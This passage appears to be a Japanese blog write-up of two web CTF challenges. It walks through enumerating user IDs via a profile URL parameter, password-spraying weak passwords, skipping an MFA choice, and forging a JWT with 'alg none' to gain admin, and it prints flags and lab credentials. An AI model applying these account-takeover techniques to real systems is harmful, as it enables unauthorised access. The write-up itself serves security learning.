`flag{dfvK#L-]BF?M}`

## Spray (20点)

> 人事部のマネージャーをしているジェシカは、社内ポータルサイト [http://10.10.10.7/mpk5tdbu](http://10.10.10.7/mpk5tdbu) で推測が容易なパスワード、 `password` か `123456789` のいずれかを利用している従業員がいると報告を受けた。どの従業員が推測可能なパスワードを利用しているか突き止めてください。フラグは、そのユーザーでログインしたページにあります。
>
> 以下のアカウントを利用して従業員のアカウント情報を確認してください。
>
> ログイン画面:[http://10.10.10.7/mpk5tdbu/](http://10.10.10.7/mpk5tdbu/)
> ID:`user1`
> PW:`diejuthdkfi14`
> 従業員は100名登録されており、従業員情報は上記のアカウント情報でログイン後、[http://10.10.10.7/mpk5tdbu/prof/](http://10.10.10.7/mpk5tdbu/prof/) で確認ができます。

`user1` から `user100` までログインを試してみたけど、成功しない。プロフィールページは問題文と微妙に違って、 [http://10.10.10.7/mpk5tdbu/prof.php?id=1](http://10.10.10.7/mpk5tdbu/prof.php?id=1) だった。 `1` のところを書き換えてみると、たしかに100まで存在はするものの、めぼしい情報は無し。

ヒント。

> ユーザー情報のページでは URL に注目してください。

> ユーザー情報ページからユーザー ID 一覧を作成しましょう。

> ユーザー ID には「@」は使えないみたいです。

メールアドレスの `@` の前がユーザーIDだった。じゃあ、なぜ、提供されたアカウントは `user1` なんだ💢💢💢

`kimi_ihara` さんのパスワードが `123456789` だった。

`flag{?]_P43gUR?yK}`

## Location (30点）

> 社内情報システム部でエンジニアをしているマイケルは、 Web サーバー [http://10.10.10.8/](http://10.10.10.8/) 内の機密情報(flag.txt)にアクセスされないようにセキュリティ対策を施して万全の体制をとっていましたが、ダークウェブに機密情報(flag.txt)が漏洩していると報告を受けました。
>
> マイケルが実施したセキュリティ対策は以下の通りです。
>
> - ID とパスワードでの認証
> - 多要素認証
> - 一般ユーザーと管理者で表示できるページを分けている
> - 機密情報(flag.txt)にはアクセス制限をかけている
>
> 下記のフラグ確認用のアカウント(一般ユーザー)を利用して、 flag.txt を探し出してください。
>
> - ID: `test`
> - PW: `password`

ログインするときに乱数表かメールアドレス認証が要求され、どちらも持っていないのでログインできません。

ヒント。

> 認証タイプを選ばない、という選択肢もあります。

あー。このヒントが一番悔しい。一番役に立ったとも言う。これは自分で気が付きたかった……。

ラジオボタンをどちらも未選択にしてログイン。JWTが設定されるので、 `"alg":"none"` にして、`"account":"user"` を `"account":"admin"` に改竄して管理者扱い。最後の「アクセス制限」が突破できずに時間切れ。

https://twitter.com/satoki00/status/1688158275471388673

JWTの中に `"ip":"10.10.10.10"` って入ってたな……。`X-Forwarded-For` とかばかり試していた。